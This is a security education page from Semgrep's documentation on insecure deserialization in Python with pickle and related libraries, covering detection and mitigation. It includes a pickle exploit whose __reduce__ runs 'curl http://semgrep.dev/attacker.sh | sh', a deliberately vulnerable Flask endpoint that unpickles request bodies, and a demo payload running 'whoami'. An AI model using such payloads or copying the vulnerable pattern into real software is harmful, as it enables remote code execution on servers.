An introduction to this concept was covered in the Insecure Deserialization article. This section expands upon that foundation with additional examples and libraries.Insecure deserialization has been a recurring entry in the OWASP Top 10 list of web application risks, and for good reason. The Python ecosystem in particular provides developers with powerful libraries for serializing and deserializing objects, but these same features can expose applications to remote code execution or denial of service.The impact can range from unexpected crashes to a full system compromise. It’s worth stressing: Python’s pickle and similar libraries should never be used to process untrusted input. They were built for speed and flexibility, not security. A notable example is Django’s decision to deprecate the PickleSerializer in version 4.1, acknowledging that the pickle module from Python’s standard library is inherently unsafe for deserialization.In this article, we explain the fundamentals of serialization in the context of Python. Then, we illustrate the most common ways insecure deserialization is exploited, and show you how to detect these patterns in your own code. Finally, we provide some practical recommendations to avoid the risks.
Pickling and unpickling
Serialization is the process of converting Python objects into a format that can be stored or transmitted, while deserialization restores them back into usable objects. This solves a practical problem: developers need a way to save program state, transfer structured data across the network, or exchange complex objects between systems.Python’s infamous pickle module was created to solve exactly this problem. It allows arbitrary Python objects to be serialized and later reconstructed. The design is intentionally permissive: objects can control how they are pickled and unpickled, and the process can invoke functions or methods during reconstruction. This flexibility makes pickle extremely convenient, but it also introduces a significant security risk. By design, deserialization can execute code, which means an attacker who controls the input data can run arbitrary commands.Other libraries extend or reuse the same approach. dill adds more object types to what can be serialized, jsonpickle uses JSON as a transport format but still permits arbitrary Python object reconstruction, and shelve simply stores pickled objects in a file-like database. Even PyYAML, a popular choice for configuration files, defaults to unsafe loading modes unless developers explicitly call safe_load. These features exist to make a developer’s life easier but also increase the attack surface when used on untrusted data.
Common Insecure Deserialization Attacks
The most severe outcome of insecure deserialization is remote code execution. In this case, an attacker provides a serialized payload that, when deserialized, executes system commands.
In the minimal example shown above, a pickle payload is crafted that calls os.system to fetch and run a script from a domain such as semgrep.dev. The deserialization process is not just restoring an object; it is executing arbitrary code on the server.
How-to Detect Insecure Deserialization In Python Code
Consider a Python web server built using the standard library’s http.server module. A developer might be tempted to unpickle data received in a request for convenience.
In this example, the call to pickle.load is applied directly to data derived from user input. If an attacker crafts a malicious pickle string, it will be executed when the handler processes the request. This is precisely the kind of pattern Semgrep’s rules can detect. The rules track data flow from untrusted sources such as HTTP request paths or headers and flag places in the code where it reaches sensitive functions like pickle.loads. Semgrep currently covers over a dozen Python libraries with known insecure deserialization functions.
Recommendations & Mitigations
The simplest and most effective recommendation is to avoid pickle and its variants (_pickle, cPickle, dill, jsonpickle, shelve) for any untrusted input. These libraries cannot be made safe against arbitrary input because they allow execution by design. Use YAML or JSON to transfer and store data instead.From the official pickledocumentation:
WARNINGThe pickle module is not secure. Only unpickle data you trust.
We highly recommend using automated tools to verify compliance, since many more libraries use deserialization powered by libraries such as pickle under the hood. Running Semgrep regularly as part of your continuous integration pipeline can highlight insecure deserialization patterns before they reach production.A few examples for popular libraries:
In Django, never switch back to the deprecated PickleSerializer for sessions.
In NumPy, avoid setting allow_pickle=True when calling numpy.load.
In PyTorch, prefer using the weights_only=True flag when calling torch.load to prevent deserialization of arbitrary Python objects.
Conclusion
Insecure deserialization in Python is not just a theoretical concern; it is a practical risk that arises whenever untrusted data is passed to permissive deserialization libraries. The fundamental issue is that modules such as pickle are designed to execute code during deserialization, making them unsuitable for handling external input.We have seen how serialization works in Python, why features like pickle introduce risks, how attackers exploit them through remote code execution, and how Semgrep can detect vulnerable patterns in your own projects. The path forward is clear: avoid unsafe libraries for untrusted data, choose safer alternatives like JSON or safe_load for YAML, and rely on automated scanning to catch mistakes early.As the deprecation of Django’s PickleSerializer illustrates, the community has recognized the risks of insecure deserialization. By taking a disciplined approach to the libraries you use and by applying tools like Semgrep, you can ensure your Python applications remain resilient against this class of vulnerabilities.For more guidance and practical rules, see the Semgrep documentation and consider scanning your codebase with our Pro rules. Identifying and fixing insecure deserialization today will save you from severe problems tomorrow.
Appendix: Python demonstration
Here’s a full Python file demonstrating what is mentioned in the article for further exploration. You can execute this safely, it has no dangerous side-effects.
#!/usr/bin/env python3print("=== Testing SASTool Pickle Serialization ===")import pickleimport base64class SASTool: def __init__(self, name, language, is_best=False): self.name = name self.language = language self.is_best = is_best def __repr__(self): return f"SASTool(name='{self.name}', language='{self.language}', is_best={self.is_best})"# Create our favorite SAST toolsemgrep = SASTool("Semgrep", "Multi-language", is_best=True)print("Original object:", semgrep)# Serialize with picklepickle_data = pickle.dumps(semgrep)print("Pickle serialized (base64):", base64.b64encode(pickle_data).decode())# Deserialize restored_tool = pickle.loads(pickle_data)print("Restored object:", restored_tool)print("\n=== Testing Malicious Payload (Safe Version) ===")import osclass MaliciousSASTool: def __reduce__(self): # This method is called during pickle serialization # Instead of restoring data, it executes a command return (os.system, ('whoami',))# Create the malicious payloadmalicious_tool = MaliciousSASTool()malicious_pickle = pickle.dumps(malicious_tool)print("Malicious payload (base64):")print(base64.b64encode(malicious_pickle).decode())print("Demonstrating what happens when deserialized:")pickle.loads(malicious_pickle) # This will execute 'whoami' and show your usernameprint("\n=== Testing Safe Alternatives ===")import jsonimport yamlfrom dataclasses import dataclass, asdict@dataclassclass SafeSASTool: name: str language: str is_best: bool = False# Create our toolsemgrep_safe = SafeSASTool("Semgrep", "Multi-language", True)print("Original object:", semgrep_safe)# JSON serialization - only handles basic data typesjson_data = json.dumps(asdict(semgrep_safe))print("\nJSON serialized:", json_data)restored_from_json = SafeSASTool(**json.loads(json_data))print("JSON deserialized:", restored_from_json)# YAML serialization - safe_load prevents code executionyaml_data = yaml.dump(asdict(semgrep_safe))print("\nYAML serialized:")print(yaml_data)restored_from_yaml = SafeSASTool(**yaml.safe_load(yaml_data))print("YAML deserialized:", restored_from_yaml)print("\n=== All tests completed successfully! ===")
Was this page helpful?
{"docsConfig":{"theme":"mint","$schema":"https://mintlify.com/docs.json","name":"Semgrep","colors":{"primary":"#008456","light":"#008456","dark":"#54D8B7"},"logo":{"light":"https://mintcdn.com/semgrep-ee9d73d8/6O2eWotSEeX-M9yU/logo/light.svg?fit=max\u0026auto=format\u0026n=6O2eWotSEeX-M9yU\u0026q=85\u0026s=b53db72fbb1f3942a5595610873e9cc6","dark":"https://mintcdn.com/semgrep-ee9d73d8/6O2eWotSEeX-M9yU/logo/dark.svg?fit=max\u0026auto=format\u0026n=6O2eWotSEeX-M9yU\u0026q=85\u0026s=2c839aeee7634559bcfcaab9f54df40d","href":"https://semgrep.dev"},"favicon":"https://mintcdn.com/semgrep-ee9d73d8/yMsI1pCt6oL_Pkb9/favicon.svg?fit=max\u0026auto=format\u0026n=yMsI1pCt6oL_Pkb9\u0026q=85\u0026s=61bb3fbb609f4fb63384c3321dee46d3","background":{"decoration":"gradient","color":{"light":"#f8f9f9","dark":"#131a2c"}},"navbar":{"links":[{"href":"https://semgrep.dev/orgs/-","label":"Login"}],"primary":{"type":"button","label":"Book demo","href":"https://semgrep.dev/contact/demo/"}},"footer":{"socials":{"x":"https://x.com/semgrep","github":"https://github.com/semgrep/semgrep","linkedin":"https://www.linkedin.com/company/semgrep"}},"integrations":{"gtm":{"tagId":"GTM-NNHHMTCL"}},"contextual":{"options":["copy","view","chatgpt","claude","perplexity","mcp","cursor","vscode"],"display":"header"},"styling":{"latex":true},"navigation":{"global":{"anchors":[{"anchor":"Registry","icon":"database","href":"https://semgrep.dev/explore/"},{"anchor":"Playground","icon":"codepen","href":"https://semgrep.dev/playground/new"},{"anchor":"Academy","icon":"graduation-cap","href":"https://academy.semgrep.dev"}]},"pages":[]}},"deployment":{"deploymentMetadataValue":{"subdomain":"semgrep-ee9d73d8","hasAudioNarration":false,"actualSubdomain":"semgrep-ee9d73d8","customDomains":["docs.semgrep.dev"],"gitSource":{"type":"github","owner":"semgrep","repo":"semgrep-docs","deployBranch":"main","contentDirectory":"docs","isPrivate":true,"mountPath":"","label":""},"feedback":{"edits":false,"thumbs":true,"issues":false},"entitlements":{"AI_CHAT":{"status":"ENABLED"},"REMOVE_BRANDING":{"status":"ENABLED"},"CONTEXTUAL_FEEDBACK":{"status":"ENABLED"},"CODE_SNIPPET_FEEDBACK":{"status":"ENABLED"},"WEB_MCP":{"status":"ENABLED"},"NARRATION":{"status":"ENABLED"}},"buildId":"6b0782eeae6faf96d9a03e6d","clientVersion":"0.0.4344","searchFilterCounts":[{"language":"default","tag":"API","count":246},{"language":"default","tag":"Endpoints","count":236},{"language":"default","tag":"v2 (Experimental)","count":216},{"language":"default","tag":"Knowledge base","count":196},{"language":"default","tag":"Scan \u0026 secure","count":169},{"language":"default","tag":"Help","count":165},{"language":"default","tag":"Set up and deploy scans","count":66},{"language":"default","tag":"Scan and triage","count":47},{"language":"default","tag":"Core deployment","count":42},{"language":"default","tag":"Learning guides","count":40}],"searchSettings":{"maxResults":10,"isFiltersEnabled":true,"showContentSnippets":true}},"assistantConfig":{"enableAskAiButton":false,"enableStarterQuestions":false,"enableContextualStarterQuestions":false,"enableAskAiSearchBar":true},"basePath":"","hasChatPermissions":true,"hasWebMcpPermissions":true,"toggles":[{"name":"kill-isr","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"custom-rbac-roles","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"agent-mintlify-slack","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"agent-integrations-settings","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"rbac-expansion","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"automations-pr-grouping","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"custom-prefix","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"analytics-v7","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"user-flows-analytics","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"no-publish-flow","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"snapshot-serving-live","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"stripTemperatureMiddleware","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"support-platform-pylon-zendesk","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"snapshot-serving","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"instant-rollback","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"granular-notifications-server","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"granular-notifications","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"automations-fable","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"fixed-ai-action-pricing","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"site-roles","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"automation-resolve-merge-conflict","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"scoped-publishing","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"mintql","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"page-level-analytics","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"editor-version-history-v2","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"billing-page-v2","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"full-page-search","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"workspace-projects","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"fork-pr-previews","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"revalidation-jwt","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"hobby-abuse-scan","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"dashboard-inbox","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"turbopuffer-dual-write","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"approve-review-flow","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"editor-metadata","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"turbopuffer-serve","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"live-agents","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"starter-pricing","enabled":true,"variant":{"name":"control","enabled":true,"payload":{"type":"string","value":"control"},"feature_enabled":true},"impressionData":false},{"name":"llms-txt-v2","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"wildcard-email-auth","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false}],"starterQuestions":[],"googleFontsInlined":false},"customCss":[{"filePath":"styles.css","content":"h1{font-weight:400!important}.dark .accordion{background-color:#131c2d!important}.dark [data-component-part=\"accordion-button\"]{background-color:#131c2d!important}.dark [data-component-part=\"accordion-button\"]:hover{background-color:#1f2d44!important}.api-changelog-table th:first-child,.api-changelog-table td:first-child{min-width:0!important;width:1%;white-space:nowrap}.api-changelog-table td:last-child a,.api-changelog-table td:last-child>span{display:inline-block;margin-bottom:0.3rem}.api-changelog-table td:last-child a:last-child{margin-bottom:0}[data-component-part=\"tooltip-content\"]{max-width:min(28rem, calc(100vw - 2rem));overflow-wrap:anywhere;white-space:pre-line}.scm-support-matrix table{width:auto!important;min-width:0!important}.scm-support-matrix th:first-child,.scm-support-matrix td:first-child{vertical-align:bottom;width:12rem;min-width:10rem!important}.scm-support-matrix td:first-child{vertical-align:middle}.scm-support-matrix th:not(:first-child){position:relative;height:10rem;min-width:2.75rem;padding:0!important;white-space:nowrap}.scm-support-matrix th:not(:first-child)>span{position:absolute;bottom:0.6rem;left:50%;transform-origin:left bottom;transform:rotate(-45deg)}.scm-support-matrix td:not(:first-child){min-width:0!important;white-space:nowrap}.scm-legend-entry{white-space:nowrap}.scm-support-matrix a{border-bottom:none!important;text-decoration:none!important}#recommended-gitlab-version{scroll-margin-top:8rem}.home-card-row{display:grid;grid-template-columns:minmax(0, 1fr);gap:1rem}@media (min-width: 768px){.home-card-row{grid-template-columns:repeat(3, minmax(0, 1fr))}}.home-card-row>a,.home-card-row>div{height:100%;margin:0!important}.home-stage{display:flex;flex-direction:column;gap:0.5rem}.home-stage>:last-child{flex:1;margin:0!important}.home-stage-label{margin:0;font-size:0.8rem;font-weight:700;letter-spacing:0.06em;text-transform:uppercase;color:#24434f}.dark .home-stage-label{color:#ffffff}.home-link-list ul{list-style:disc;padding-left:1.25rem;margin:0}.home-link-list li{margin:0.25rem 0}.home-link-list li::marker{color:#8a9ba3}.home-link-list a,.home-text-link{color:#24434f;font-weight:500;text-decoration:underline;text-decoration-color:rgba(36, 67, 79, 0.3);text-underline-offset:3px}.home-link-list a:hover,.home-text-link:hover{color:#008456;text-decoration-color:currentColor}.dark .home-link-list a,.dark .home-text-link{color:#ffffff;text-decoration-color:rgba(255, 255, 255, 0.35)}.dark .home-link-list a:hover,.dark .home-text-link:hover{color:#54d8b7}.home-stats{display:grid;grid-template-columns:minmax(0, 1fr);gap:1.5rem}@media (min-width: 768px){.home-stats{grid-template-columns:repeat(3, minmax(0, 1fr))}}.home-stats>div{display:flex;flex-direction:column;gap:0.25rem}.home-stat-number{margin:0;font-size:2rem;font-weight:700;line-height:1.2;color:#24434f}.home-stat-text{margin:0;color:#24434f}.dark .home-stat-number,.dark .home-stat-text{color:#ffffff}@media (min-width: 768px){.home-link-list-columns ul{column-count:3;column-gap:1.5rem}}.home-link-list-columns li{break-inside:avoid}"}]}
{"page":{"pagePath":"learn/vulnerabilities/insecure-deserialization/python","slug":"/learn/vulnerabilities/insecure-deserialization/python","pageMetadata":{"title":"Insecure Deserialization in Python","description":null,"href":"/learn/vulnerabilities/insecure-deserialization/python"},"pageType":"default","mdx":{"mdxSource":{"compiledSource":"\"use strict\";const{Fragment:_Fragment,jsx:_jsx,jsxs:_jsxs}=arguments[0];const{useMDXComponents:_provideComponents}=arguments[0];function _createMdxContent(props){const _components={a:`a`,code:`code`,li:`li`,p:`p`,pre:`pre`,span:`span`,strong:`strong`,ul:`ul`,..._provideComponents(),...props.components},{CodeBlock,Heading,Warning}=_components;if(!CodeBlock)_missingMdxReference(`CodeBlock`,true);if(!Heading)_missingMdxReference(`Heading`,true);if(!Warning)_missingMdxReference(`Warning`,true);return _jsxs(_Fragment,{children:[_jsxs(_components.p,{children:[`An introduction to this concept was covered in the `,_jsx(_components.a,{href:`/learn/vulnerabilities/insecure-deserialization`,children:`Insecure Deserialization`}),` article. This section expands upon that foundation with additional examples and libraries.`]}),`\n`,_jsxs(_components.p,{children:[_jsx(_components.strong,{children:`Insecure deserialization`}),` has been a recurring entry in the OWASP Top 10 list of web application risks, and for good reason. The Python ecosystem in particular provides developers with powerful libraries for serializing and deserializing objects, but these same features can expose applications to remote code execution or denial of service.`]}),`\n`,_jsxs(_components.p,{children:[`The impact can range from unexpected crashes to a full system compromise. It’s worth stressing: Python’s `,_jsx(_components.code,{children:`pickle`}),` and similar libraries should never be used to process untrusted input. They were built for speed and flexibility, not security. A notable example is Django’s decision to deprecate the `,_jsx(_components.code,{children:`PickleSerializer`}),` in version 4.1, acknowledging that the `,_jsx(_components.code,{children:`pickle`}),` module from Python’s standard library is inherently unsafe for deserialization.`]}),`\n`,_jsx(_components.p,{children:`In this article, we explain the fundamentals of serialization in the context of Python. Then, we illustrate the most common ways insecure deserialization is exploited, and show you how to detect these patterns in your own code. Finally, we provide some practical recommendations to avoid the risks.`}),`\n`,_jsx(Heading,{level:`3`,id:`pickling-and-unpickling`,children:`Pickling and unpickling`}),`\n`,_jsx(_components.p,{children:`Serialization is the process of converting Python objects into a format that can be stored or transmitted, while deserialization restores them back into usable objects. This solves a practical problem: developers need a way to save program state, transfer structured data across the network, or exchange complex objects between systems.`}),`\n`,_jsxs(_components.p,{children:[`Python’s infamous `,_jsx(_components.code,{children:`pickle`}),` module was created to solve exactly this problem. It allows arbitrary Python objects to be serialized and later reconstructed. The design is intentionally permissive: objects can control how they are pickled and unpickled, and the process can invoke functions or methods during reconstruction. This flexibility makes `,_jsx(_components.code,{children:`pickle`}),` extremely convenient, but it also introduces a significant security risk. By design, deserialization can execute code, which means an attacker who controls the input data can run arbitrary commands.`]}),`\n`,_jsxs(_components.p,{children:[`Other libraries extend or reuse the same approach. `,_jsx(_components.code,{children:`dill`}),` adds more object types to what can be serialized, `,_jsx(_components.code,{children:`jsonpickle`}),` uses JSON as a transport format but still permits arbitrary Python object reconstruction, and `,_jsx(_components.code,{children:`shelve`}),` simply stores pickled objects in a file-like database. Even PyYAML, a popular choice for configuration files, defaults to unsafe loading modes unless developers explicitly call `,_jsx(_components.code,{children:`safe_load`}),`. These features exist to make a developer’s life easier but also increase the attack surface when used on untrusted data.`]}),`\n`,_jsx(Heading,{level:`3`,id:`common-insecure-deserialization-attacks`,children:`Common Insecure Deserialization Attacks`}),`\n`,_jsx(_components.p,{children:`The most severe outcome of insecure deserialization is remote code execution. In this case, an attacker provides a serialized payload that, when deserialized, executes system commands.`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`7`,language:`python`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`python`,children:_jsxs(_components.code,{language:`python`,numberOfLines:`7`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#C586C0`},children:`import`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` pickle, os`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:`class`}),_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#4EC9B0`},children:` Exploit`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`(`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#4EC9B0`},children:`object`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`):`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:` def`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:` __reduce__`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`(`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:`self`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`):`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#C586C0`},children:` return`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` (os.system, (`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`\"curl http://semgrep.dev/attacker.sh | sh\"`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`,))`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`payload `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` pickle.dumps(Exploit())`})]}),`\n`]})})}),`\n`,_jsxs(_components.p,{children:[`In the minimal example shown above, a pickle payload is crafted that calls `,_jsx(_components.code,{children:`os.system`}),` to fetch and run a script from a domain such as `,_jsx(_components.code,{children:`semgrep.dev`}),`. The deserialization process is not just restoring an object; it is executing arbitrary code on the server.`]}),`\n`,_jsx(Heading,{level:`3`,id:`how-to-detect-insecure-deserialization-in-python-code`,children:`How-to Detect Insecure Deserialization In Python Code`}),`\n`,_jsxs(_components.p,{children:[`Consider a Python web server built using the standard library’s `,_jsx(_components.code,{children:`http.server`}),` module. A developer might be tempted to unpickle data received in a request for convenience.`]}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`12`,language:`python`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`python`,children:_jsxs(_components.code,{language:`python`,numberOfLines:`12`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#C586C0`},children:`import`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` pickle`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#C586C0`},children:`from`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` flask `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#C586C0`},children:`import`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` Flask, request`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#C586C0`},children:`import`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` io`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`app `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` Flask(`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#9CDCFE`},children:`__name__`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`)`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#8250DF`,\"--shiki-dark\":`#DCDCAA`},children:`@app.route`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`(`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`\"/deserialize\"`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`, `}),_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#9CDCFE`},children:`methods`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`\"POST\"`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`])`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:`def`}),_jsx(_components.span,{style:{color:`#8250DF`,\"--shiki-dark\":`#DCDCAA`},children:` deserialize`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`():`})]}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:` # Attacker controls request body`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` raw_data `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` request.data`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` obj `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` pickle.load(io.BytesIO(raw_data))`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#C586C0`},children:` return`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#4EC9B0`},children:` str`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`(obj)`})]}),`\n`]})})}),`\n`,_jsxs(_components.p,{children:[`In this example, the call to `,_jsx(_components.code,{children:`pickle.load`}),` is applied directly to data derived from user input. If an attacker crafts a malicious pickle string, it will be executed when the handler processes the request. This is precisely the kind of pattern Semgrep’s rules can detect. The rules track data flow from untrusted sources such as HTTP request paths or headers and flag places in the code where it reaches sensitive functions like `,_jsx(_components.code,{children:`pickle.loads`}),`. Semgrep currently covers over a dozen Python libraries with known insecure deserialization functions.`]}),`\n`,_jsx(Heading,{level:`3`,id:`recommendations-\u0026-mitigations`,children:`Recommendations \u0026 Mitigations`}),`\n`,_jsxs(_components.p,{children:[`The simplest and most effective recommendation is to avoid `,_jsx(_components.code,{children:`pickle`}),` and its variants (`,_jsx(_components.code,{children:`_pickle`}),`, `,_jsx(_components.code,{children:`cPickle`}),`, `,_jsx(_components.code,{children:`dill`}),`, `,_jsx(_components.code,{children:`jsonpickle`}),`, `,_jsx(_components.code,{children:`shelve`}),`) for any untrusted input. These libraries cannot be made safe against arbitrary input because they allow execution by design. Use YAML or JSON to transfer and store data instead.`]}),`\n`,_jsxs(_components.p,{children:[`From the official `,_jsx(_components.code,{children:`pickle`}),` `,_jsx(_components.a,{href:`https://docs.python.org/3/library/pickle.html`,children:`documentation`}),`:`]}),`\n`,_jsxs(Warning,{children:[_jsx(_components.p,{children:_jsx(_components.strong,{children:`WARNING`})}),_jsx(_components.p,{children:`The pickle module is not secure. Only unpickle data you trust.`})]}),`\n`,_jsxs(_components.p,{children:[`We highly recommend using automated tools to verify compliance, since many more libraries use deserialization powered by libraries such as `,_jsx(_components.code,{children:`pickle`}),` under the hood. Running Semgrep regularly as part of your continuous integration pipeline can highlight insecure deserialization patterns before they reach production.`]}),`\n`,_jsx(_components.p,{children:`A few examples 